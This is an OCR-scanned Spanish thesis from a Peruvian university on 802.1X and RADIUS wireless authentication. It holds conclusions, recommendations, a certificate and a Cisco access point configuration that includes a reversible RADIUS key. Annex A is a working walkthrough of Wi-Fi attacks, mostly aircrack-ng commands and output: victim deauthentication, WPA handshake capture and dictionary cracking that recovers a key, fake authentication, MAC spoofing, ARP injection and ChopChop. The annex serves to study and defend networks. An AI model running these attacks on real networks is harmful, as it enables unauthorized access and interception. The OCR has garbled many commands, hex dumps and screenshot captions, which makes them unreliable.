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CONCLUSIONES Y RECOMENDACIONES

CONCLUSIONES

a)

b)

Se ha logrado cumplir con los objetivos generales y especificos de la tesis:

Durante el proceso de desarrollo de la tesis, se verifico la autenticacién segura y
transparente de usuarios locales al dominio “uni.edu.pe” asi como usuarios
visitantes de otras instituciones académicas como por ejemplo “inictel-uni.edu.pe”
o “test.rediris.es” de Espaia. Ellos pudieron acceder a la red inalambrica con
dominio “uni.edu.pe” usando la misma cuenta de correo de su institucién de
origen.

De igual forma, se demostré la validacion entre el servidor RADIUS institucional
propuesfo y el servidor Proxy RADIUS de Peru para el reenvié de peticiones de
usuarios visitantes a la universidad.

También se verificé la validacion entre el Punto de Acceso y el servidor RADIUS
institucional.

Por dltimo, se verificé la autenticacién de usuarios de un servidor de base de

datos y un servidor de directorios LDAP.

Entre los analisis realizados al protocolo. estandar IEEE 802.1X, se pudo
demostrar que mediante el protocolo de autenticacién extensible (EAP) se puede
cifrar las credenciales de los usuarios y mediante el protocolo RADIUS se autoriza
el ingreso de un usuario hacia una red segura.

Se sabe que los estudiantes o profesores de la UNI cuentan con solo una cuenta
de correo electrénico institucional con dominio “uni.edu.pe” para el acceso a sus
tramites internos y externos. Con la infraestructura de solucién propuesta se pudo
comprobar que usando las mismas credenciales de correo electronico
institucional, se puede autorizar el acceso a estos mismos usuarios usando redes

avanzadas desde un dispositivo mévil.



d)

g)
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Durante las pruebas de autenticacién remota, los usuarios, visitantes a otra
institucion académica, pueden acceder a las redes avanzadas con su misma

cuenta de correo institucional y de forma segura.

Los usuarios de la UNI pueden acceder a las redes avanzadas desde cualquier
dispositivo mévil que soporte el protocolo 802.1X. En las pruebas realizadas en el
capitulo VI, se desarrollan distintas pruebas de autenticacion usando sistemas

operativos Windows, Linux, MAC y Android.

Considerando los resultados encontrados en las pruebas de operatividad, se
concluye que la infraestructura de una red inalambrica usando 802.1X es un
método seguro de autenticacion y confidencialidad de la informacioén usada por los
usuarios de las universidades, a la vez que ellos puedan autenticarse a las redes
avanzadas de otra universidad manteniendo la conectividad inalambrica en todo

momento.

Los ultimos protocolos y métodos de autenticacion para redes inalambricas son
creados en base al estandar IEEE 802.1X, y en un futuro la tecnologia movil
estara preparado para ofrecer nuevas posibilidades de acceso desde distintos
lugares. |

RECOMENDACIONES

a)

b)

Para la implementacién de una infraestructura de acceso seguro a redes
avanzadas, se recomienda usar el estandar IEEE 802.1X con el fin de
proporcionar mecanismos seguros de autenticacion para usuarios conectados

desde un dispositivo mévil a una red inalambrica de una institucion.

Se recomienda que las instituciones del sistema I+D+i (Investigacion, desarrollo e
innovacion) desarrollen Ia infraestructura de acceso propuesto para que puedan
beneficiarse de la itinerancia en todo el sistema académico y de investigacion

nacional e internacional.

Una vez que los usuarios accedan a la RAAP mediante una red WIFI, la

informacién viajara de un modo seguro en la red interna pero con un mal uso del

_internet su informaci6n podria verse comprometida, es por eso que se recomienda

tomar las medidas necesarias para la proteccién de la informacion ante ciertos

tipos de ataques de informaticos.
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En el caso que los usuarios moviles requieran incluir el certificado digital de la
autoridad certificadora que firmoé la validez del servidor RADIUS, es recomendable
verificar el tiempo de caducidad de dicho certificado, la clave publica y la huella

digital del mismo.

Por ofro lado, también se recomienda disminuir la potencia del transmisor del
Punto de Acceso y el uso de antenas direccionales para asi lograr que las ondas
de radio no salgan fuera del ambito de red de la organizacion y asi evitar ataques

en las redes.

Existen otras formas de vulnerar la seguridad de una red inalambrica con soporte
802.1X, como por ejemplo los “ataques de ingenieria social’. Para evitar esto es
necesario que cada institucién cuente con unas series de politicas de seguridad

para disminuir el rie§go de seguridad.

En la implementaciéon de la infraestructura 802.1X, se recomienda separar
l6gicamente a los distintos tipos de usuarios mediante el uso de vlans.

Para el cifrado de los datos transmitidos por los usuarios, se recomienda el uso
del protocolo WPA2 junto con el protocolo de encriptacion CCMP basado en AES
para garantizar mejor la seguridad de la informacioén de los usuarios a diferencia
del protocolo WPA-TKIP.
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- ANEXO A
METODOS DE ATAQUE A LAS REDES INALAMBRICAS
a) Ataques a los protocolos WEP y WPA-TKIP

~ Este tipo de ataques envia paquetes de desasociacidon a uno o mas usuarios
conectados a un Access Point con seguridad WEP. Existen tres razones para querer

desasociar a un cliente de una red inalambrica, éstas son:

e Recuperar un SSID oculto por no estar anunciado en el Access Point.
e Capturar de handshakes WPA.

o Generar peticiones ARP.

Ejemplo: Generar peticiones ARP (ver fig. A.1)

Sintaxis:
aireplay-ng -0 5 -a <mac_ap> -¢ <mac_victima> wlan0

Resultado:

root@root:~# aireplay-ng -0 5 -a 00:1C:10:8C:43:19 -¢ 00:21:00:CE:1D:7E wlanod
12:37:15 vaiting for beacon frame (BSSID: 06:1C:10:8C:43:19) on channel 6

12:37:15 Sending 64 directed DeAuth. STMAC: [00:21:00:CE:1D:7E] [42]|56 ACKs]
12:37:16 Sending 64 directed DeAuth. STMAC: [86:21:00:CE:1D:7E} [52]57 ACKs]
12:37:16 Sending 64 directed DeAuth. STMAC: {00:21:00:CE:1D:7E] [51]61 ACKs]
12:37:17 Sending 64 directed Deauth. STHMAC: [60:21:00:CE:1D:7E] [38]57 ACKs)
12:37:18 Sending 64 directed DeAuth. STMAC: [60:21:00:CE:1D:7E] [44]60 ACKs]

Fig. A.1 Captura de paquetes ARP
Ejemplo: Captura Handshakes de WPA (ver fig. A.2)
Sintaxis:
e airmon-ng start wlan0
e airodump-ng -c <canal_ssid> --bssid <mac_AP> -w tesis wlan0

e aireplay-ng -0 5 -a <mac_ap> -c <mac_cliente_asociado> wlan0

e aircrack-ng -w diccionario-tesis tesis.cap

Resultados:
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BSSID
©8:1C:10:8C:43:19
BSSID

00:1C:10:8C:43:19

CH 6 ][ Elapsed: 7 mins ]{ 2011-12-27 12:38 ][ vPA handshake: 00:1C:10:8C:43:19

PR RXQ Beacons #Data, #/s CH MNB ENC CIPHER AUTH ESSID

-53 83 3794 966 5 6 54 VIPA TKIP PSK act-iptv
STATION PR Rate Lost Packets Probes
00:21:00:CE:1D:7E -12 24 -54 1 1262

Fig. A.2 Monitoreo del trafico de paquetes WPA

Master Key

Transient Key

EAPOL HMAC

[00:00:08] 2 keys tested (84.87 k/s)

Alrcrack-ng 1.1 r1904

KEY FOUND! [ inicteluni2 ]

: 81 11 88 06 79 BC FF 2B ED 39 EA 51 91 CD 69 E@
€2 AF 6B 9D 4B B7 9F 63 55 04 6E 37 35 B6 44 (B

: 92 @7 94 FA DA 3B DC B7 B9 F4 CD 74 97 €3 13 QE
2B 50 57 21 E4 11 S9A 33 6A 63 A5 DC A4 61 7D CC
Bl 39 74 04 3D A3 43 16 9C 24 83 8C F1 4F DE D6
50 51 1F B5 6F AS EF 3F 69 4C D8 BO C4 38 FD 6F

: CA 7C @D €3 39 36 B2 FA 03 CF B8 67 17 B1 F2 E3

Fig. A.3 Crackeo de claves WPA-TKIP

b) Falsa autenticacion

Permite asociarse con el Punto de Acceso realizando dos tipos de autenticaciones

falsas (modos open y compartidos). Este ataque es Util cuando necesitamos una

direccion mac asociada de un cliente conectado a la red. Tener en cuenta que estos

ataques no generan paquetes ARP.

Sintaxis:

aireplay-ng -1 0 -e <nombre_ap> -a <mac_ap> -h <mac_atacante> wilan0

Los ataques de falsa autenticacion son necesarios cuando se quiere inyectar

paquetes ARP para generar trafico de paquetes y obtener la clave WEP.

Para generar los ataques de falsa autenticacién, una buena idea seria cambiar el

valor de la MAC-Address por una valida, es decir cambiando solo los 3 ultimos bytes por

un valor distinto.

Ejemplo: Cambio de MAC con macchanger.
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mac address actual 00:21:00:ce:1d:7e

Cambio de MAC

macchanger -mac=00:21:00:aa:bb:cc wlan0
mac address actual: 00:21:00:aa:bb:cc

JLL “q
B5:7R:449
G364
25129244

Wziting far beacon frase |

-"‘-55‘12‘:,;EJL1DH successful

] nisnf“a'iun Ranﬂ§=

.J ‘l_d

8551D: ea:éséaA:éF.sz ;m ot chanre

emd

T 1alb: 1)

Fig. A.4 Falsa Autenticacion

c) Seleccion iterativa del paquete a enviar

Este tipo de ataque nos sirve para escoger el paquete a reenviar (o inyectar), esto

puede ser paquetes capturado por la tarjeta wifi o utilizando un archivo en formato .cap o

.pcap, éste ultimo nos permite importar paquetes obtenidos con otros ataques y usarlo

para reinyectar paguetes a un nuevo archivo.

Sintaxis:

aireplay-ng -2 <opciones de filtro> <opciones de reenvio> -r <nombre de archivo>

wlan0

Ejemplo:

aireplay-ng -2 -p 0841 -m 68 -n 86 -b <mac_AP> -c <mac_broadcast> -h
<mac_origen> athO

Bant 269253 pa

Use this packet

Size: 86, FrondS: 1, TeDS: & (WEP)

?

!

Ckels, .. {499 pps)

reot@rant:-a aireplay-ng -2 -p D@41 -0 63 -n 86 -b @D:26:0A:6F:B2:36 -¢ FF;FF:FF:FF:FF:FF -h 8D-14-45-73-F2-24 wland
Read 285 packets.,.

85510 = 09:26:0A:6F:82:30

Dest, HAC = FFzFF:FF:FF:FF:FF
SouFGce MAC = @9:04:75:BE:7B:11
oxDaL0: eB42 eogo ffEf Ifff FFFE 0020 pahf D230 .B.. N
ax0810: 6084 75be 7bll 16cd 3206 6200 348 c48e 'R { H.
oxBGr0: bhbY 72i8 cced 473 429 3977 8§35 3417 .,r....sﬂ]gw 51
0x0030: e63b 723b G3c6 1069 1613 24b8 be51 BYES 1..0%0.8,
Bx0648:  &6eH 2b8L bef2 2112 fe74 Tal2 6deF chd4 t.+.A !._azrm...
0xB050: 9B7C eb2d flic 4.5l

saving chosen packet in replay_src-1228-892457.cap
veu should alse start airodusp-ng to capture replies,

Fig. A.5 Reenvio de paquetes ARP
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Podemos observar en la figura A.6 que el tamano del paquete es 86, igual al tamario
maximo de paquete permitido. Este valor quiere decir que el cliente esta asociado a una
red cableada. |

Al poner “Y”, estaremos aceptando que se ha encontrado un cliente al cual le esta

llegando los paquetes broadcast entonces se empezara a generar IVs.

root@root:~# 1s
Desktop out-01.csv out-B81l.kismet.netxml replay_src-1228-893858. cap
out-8l.cap out-8l.kismet.csv replay src-1228-092457.cap

Fig. A.6 Archivos generados para el reenvi6é de paquetes ARP
Para que funcione mucho mejor éstos tipos de ataques, es necesario que no esté
asociado con el Punto de Acceso.
d) Reinyeccion de una peticion ARP (ARP-Request)

Este ataque es el mejor método para obtener IVs, pero para que éste ataque funciona
de manera eficaz, es necesario conocer la MAC Address de un cliente asociado a lared o

usando un ataque de falsa autenticacion.

Sintaxis:
aireplay-ng -3 -b <mac_ap> -h <mac_victima> wian0

Resultado:

reot@root:~# aireplay-ng -3 -b B80:26:0A:6F:B2:30 -h 00:21:00:CE:1D:7E -x 1024 wlan@

The interface MAC (00:14:A5:73:F2:24) doesn’t match the specified MAC (-h).
ifconfig wlan@ hw ether 08:21:00:CE:1D:7E

10:04:12 Vtaiting for beacon frame (BSSID: 00:26:8A:6F:B2:3@) on channel 3

Saving ARP requests in replay arp-1228-160412.cap

You should also start airodump-ng to capture replies.

Fig. A.7 Inyeccion de paquetes

4

Una vez obtenido respuesta de éste ataque, se creara un archivo “replay_arp-*.cap”.

Usando éste archivo, podemos reenviar las peticiones ARP de la siguiente manera:

aireplay-ng -2 —r replay_arp-*.cap

Resultado:
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root@root:~# aireplay-ng -2 -r replay_arp-1228-160429.cap wlan@
For information, no action required: Using gettimeofday() instead of /dev/rtc
Mo source MAC (-h) specified. Using the device MAC (68:14:A5:73:F2:24)

Size: 86, FromDS: @, ToDS: 1 (VEP)

BSSID = 00:26:8A:6F:B2:30
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:21:08:CE:1D:7E
0x0000: 0841 0060 0026 ©a6T b230 0821 BBce 1d7e .A...&.0.8.1...~
oxepl1e: fFfff ffff ffff doge 7e5c b66O 73fb 49dT ........ ~\..s.1.
9x0820: 8dbc a650 247 20e2 cf37 7bfa 4156 406c ...P.G ..7{.AvV@l
§x0030: abll c201 106 26ed 566c cle8 e23b 21¢6 ...... &VL...;L.
0x0040: 7660 f6ch 8lef 339f adB2 5e3d 0214 945¢ v ....3...~=...\
Ox0056: 9351 48b3 624a .QH.b]

Use this packet 7 yjj
Fig. A.8 Reinyeccion de paquetes ARP

e) Ataque ChopChop

Este tipo de ataque puede descifrar la informacidn de la victima sin conocer la clave
de acceso a la red inalambrica, éste ataque requiere como minimo un paquete de datos
WEP.

root@root:~# aireplay-ng -4 -h 08:21:60:ce:1d:7e wlan®
The interface MAC (©0:14:A5:73:F2:24} doesn't match the specified MAC (-h).
ifconfig wlan® hw ether 6@:21:08:CE:1D:7E

GSize: 86, FromDS: 1, ToDS: 6 (VEP)

BSSID = 00:26:0A:6F:B2:30

Dest. MAC' = FF:FF:FF:FF:FF:FF

Source MAC = 56:AB:C1:40:EB:70
ox0860: 0842 @000 ffff ffif ffff 0026 6a6f b230 .B.........&.0.0
0x0018: 56ab €140 €870 1044 791e eaf® ecB8 7b76 V..@.p.Dy..... {v
0x6020: 94d2 098¢ 8dOc 8a40 c889 d8aa aed7 d3b5 ....... @.......

0x0630: 2fad 6d20 c9c5 6adb 6202 7¢Ol 16b6 66c2 /.m ..j.b.[..." .
6x0040: 9e26 9655 0019 2894 384c 59fd 2d6b 07ff .&.U..(.8LY.-k..
0x0050: 769a 5746 2chg v.uF,.

Use this packet ? y

saving chosen packet in replay src-1228-110717.cap

pffset 85 ( 6% done) | xor = BD | pt = @4 | 112 frames written in 1913ms
0ffset 84 ( 1% done) | xor = 60 | pt = 4C | 235 frames written in 3987ms
=14 | pt =52 ] 476 frames written in 8094ms

offset 82 ( 5% done) | xor = A@ | pt = F7 | 158 frames written in 2683ms
Offset 81 ( 7% done) | xor = 9A | pt =688 | 246 frames written in 4184ms

Fig. A.9 Ataque ChopChop

|

I
Offset 83 ( 3% done) | xor

|

1

Saving plaintext in replay_dec-1228-118740.cap
Saving keystream in replay dec-1228-110748.xor

Completed in 285 (2.40 bytes/s)
Fig. A.10 Fuentes de ataques Vs y XOR
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Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=Pe, ST=Lima, L=Lima, O=UNIVERSIDAD NACIONAL DE INGENIERIA,
OU=TESIS-DE-JAVIER-QUINTO, CN=Demo de una Autoridad Certificadora para la
UNl/emailAddress=jquinto@uni.edu.pe
Validity
Not Before: Mar 26 15:22:39 2012 GMT
Not After : Mar 26 15:22:39 2013 GMT
Subject: C=Pe, ST=Lima, L=Lima, O=UNIVERSIDAD NACIONAL DE INGENIERIA,
OU=TESIS-DE-JAVIER-QUINTO, CN=radius.uni.edu.pe/emailAddress=jquinto@uni.edu.pe
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:be:fe:2¢:61:41:2f:fc:17:4d:66:94:38:af-9a:
fc:c4:59:f2:bf:c4:54:0f:0a:8a:60:c2:6b:a8: 3e:
60:2e:47:ec:1¢:0c:0b:61:fd:23:fb:11:84:35:ef:
3c:07:b9:5d:14:3b:2e:71:f7:84:a3:f9:bb:f1:df:
b8:26:0f.c3:2¢:85:bc:e1:6f.13:fa:af.c6:86:75:
32:7c:6¢:43:20:fa:84:59:d6:d4:60:4b:da:71:40:
3b:2b:d3:8a:70:41:48:cc:51:ba:54:e8:21:0c:d8:
b2:2c:d3:e6:7¢:36:84:a6:¢cd:5¢c:5¢.db:60:c7:b4:
fa:b2:0c:4e:0e:5b:be:db:8d
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Extended Key Usage:
TLS Web Server Authentication
Signature Algorithm: sha1WithRSAEncryption
ac:0d:e7:0a:4a:b1:20:16:23:16:6e:¢3:29:68:b8:0c:0b:d6:
0d:5d:07:09:de:a1:3a:df.26:7b:15:da:09:26:4e:88:51:83:
60:67:4f.06:b8:d1:4e:¢3:bf:61:3d:ab:b8:7e:10:2a:df:96:
4d:a0:16:d4:74:c0:9d:cf.85:2f.ae:f0:fc.7d:€6:f0.db: 14:
€5:77:¢9:56:75:46:28:d3:09:37:5b:db:0c:c9:2d:3¢:13:1b:
14:bd:1f:11:89:0b:5b:e2:83:10:93:2d:39:bc:42:23:24f:
c1:2a:b5:4d:3b:a1:4c¢:15:88:9a:8b:3e:f0:2d:8f.6d:03:b1:
28:ba
!1cy51bmkuZWR1LnBI
MSEwHwY JKoZIhveNAQkBFhJqcXVpbnRvQHVuaS51ZHUucGUwgZ8wDQYJKoZlhveN
AQEBBQADgYO0AMIGJA0GBAL7+LGFBL/WXTWaUOK+a/MRZ8r/EVASKimDCa6g+YC5H
7BWMC2H9I/sRhDXvPAe5XRQ7LnH3hKP5u/HfuCYPwyyFVOFVE/qvxoZ1MnxsQyD6
hFnW1GBL2nFAOyvTinBBSMxRulTolQzYsizT5nw2hKbNXFzbYMe0+rIMTg5bvtuN
AgMBAAGjFzAVMBMGA1UdJQQMMA0GCCsGAQUFBWMBMAOGCSqGSIb3DQEBBQUAA4GB
AKwN5wpKsSAWIxZuwylouAwlL 1g1dBwneoTrfJnsV2gkmTohRg2BnTwa40U7Dv2ES
q7h+ECrflk2g9tROWJ3PhS+u8Px95vDbFMV3yVZ1RijTCTdb2wzJLTWTGXxSSHXGJ
C1vigxCTLTm8QiMk/8EqtU07oUwViJqLPvALj20DsSi6

----- END CERTIFICATE-----
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- |version 12.4

no service pad

service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption

!

hostname PUNTO-DE-ACCESO-TESIS-FIEE-UNI
! :
logging buffered warnings
logging monitor warnings
enable secret 5 <clave-secreta>
!
aaa new-model
!
aaa group server radius rad_eap
server 192.168.1.4 auth-port 1812 acct-port 1813
!
aaa group server radius rad_mac
!
aaa group server radius rad_acct
!
aaa group server radius rad_admin
!
aaa group server tacacs+ tac_admin
!
aaa group server radius rad_pmip
!
aaa group server radius dummy
!
aaa authentication login default local
aaa authentication login eap_methods group rad_eap
aaa authentication login mac_methods local
aaa authorization exec default local
aaa authorization network default group rad_eap
aaa accounting send stop-record authentication failure
aaa accounting session-duration ntp-adjusted
aaa accounting update newinfo periodic 15
aaa accounting exec default start-stop group rad_eap
aaa accounting network default start-stop group rad_eap
aaa accounting network acct_methods start-stop group rad_eap
aaa accounting connection default start-stop group rad_eap
aaa accounting system default start-stop group rad_eap
aaa accounting resource default start-stop group rad_eap
!
aaa nas port extended
aaa session-id unique
no ip domain lookup
no dot11 igmp snooping-helper
!
dot11 ssid TESIS-UNI
vian 109
authentication open eap eap_methods
authentication network-eap eap_methods
authentication key-management wpa optional
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accounting acct_methods
guest-mode

!

dot11 ssid INVITADOS
vian 103
authentication open
accounting acct_methods
mbssid guest-mode

1

dot11 holdoff-time 60

dot11 location isocc PT cc 351 ac 21

dot11 ids eap attempts 32 period 8

dot11 network-map

dot11 arp-cache

power inline negotiation prestandard source

1

username jquinto privilege 15 secret 5 <clave-secreta>

| .

bridge irb
!

i.nterface Dot11Radio0

no ip address

no ip route-cache

I

encryption mode ciphers aes-ccm tkip wep128
!

éncryption vian 109 mode ciphers aes-ccm tkip wep128
!

iancryption vian 106 mode ciphers aes-ccm tkip wep128

broadcast—key change 600 membership-termination capability-change
Lroadcast-key vlan 109 change 600 membership—termination capability-change
!?roadcast-key vlan 106 change 600 membership—terminétion capability-change

ssid TESIS-UNI
!

ssid INVITADOS
I

channel 2417
station-role root
!
interface Dot11Radio0.102
encapsulation dot1Q 102 native

no ip route-cache

no cdp enable

bridge-group 1

bridge-group 1 subscriber-loop-control
bridge-group 1 block-unknown-source
no bridge-group 1 source-learning

no bridge-group 1 unicast-flooding
bridge-group 1 spanning-disabled
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interface Dot11Radio0.103

encapsulation dot1Q 103

no ip route-cache

no cdp enable

bridge-group 254

bridge-group 254 subscriber-loop-control
bridge-group 254 block-unknown-source
no bridge-group 254 source-learning

no bridge-group 254 unicast-flooding
bridge-group 254 spanning-disabled

i
interface Dot11Radio0.106

encapsulation dot1Q 106

no ip route-cache

no cdp enable

bridge-group 253

bridge-group 253 subscriber-loop-control
bridge-group 253 block-unknown-source
no bridge-group 253 source-learning

no bridge-group 253 unicast-flooding
bridge-group 253 spanning-disabled

I
interface Dot11Radio0.109

encapsulation dot1Q 109

no ip route-cache

no cdp enable

bridge-group 255

bridge-group 255 subscriber-loop-control
bridge-group 255 block-unknown-source
no bridge-group 255 source-learning

no bridge-group 255 unicast-flooding
bridge-group 255 spanning-disabled

]
interface Dot11Radio1
no ip address

no ip route-cache
shutdown

| A
encryption mode ciphers aes-ccm tkip wep128
!
broadcast-key change 600 membership-termination capability-change
l

dfs band 3 block

channel dfs

station-role root

bridge-group 1

bridge-group 1 subscriber-loop-control

bridge-group 1 block-unknown-source

no bridge-group 1 source-learning

no bridge-group 1 unicast-flooding

bridge-group 1 spanning-disabled

!
interface FastEthernet0
no ip address
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no ip route-cache
duplex auto
speed auto

!
interface FastEthernet0.102

description VLAN de Administracion FIEE-UNI
encapsulation dot1Q 102 native

no ip route-cache

no cdp enable

bridge-group 1

bridge-group 1 port-protected

no bridge-group 1 source-learning
bridge-group 1 spanning-disabled

]
interface FastEthernet0.103
description VLAN de INVITADOS
encapsulation dot1Q 103

no ip route-cache

no cdp enable -

bridge-group 254

no bridge-group 254 source-learning
bridge-group 254 spanning-disabled
i
interface FastEthernet0.106

description VLAN para Personal Administrativo
encapsulation dot1Q 106

no ip route-cache

no cdp enable

bridge-group 253

no bridge-group 253 source-learning
bridge-group 253 spanning-disabled

!
interface FastEthernet0.109

description VLAN para el Acceso Seguro a las Redes Avanzadas
encapsulation dot1Q 909

no ip route-cache

no cdp enable

bridge-group 255

no bridge-group 255 source-learning

bridge-group 255 spanning-disabled

!

interface BVI1

ip address 192.168.1.65 255.255.255.224
no ip route-cache

| _

ip http server

no ip http secure-server

ip http help-path http://www.cisco.com/warp/public/779/smbiz/prodconfig/help/eag

ip radius source-interface BVI1

no cdp run

radius-server attribute 8 include-in-access-req

radius-server attribute 32 include-in-access-req format %h

radius-server dead-criteria time 60 tries 10

radius-server host 192.168.1.4 auth-port 1812 acct-port 1813 key 7 060F01284F5A0C15
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radius-server retransmit 2
radius-server deadtime 15
radius-server vsa send accounting
radius-server vsa send authentication
bridge 1 route ip

!

line con O
line vty 0 4
end
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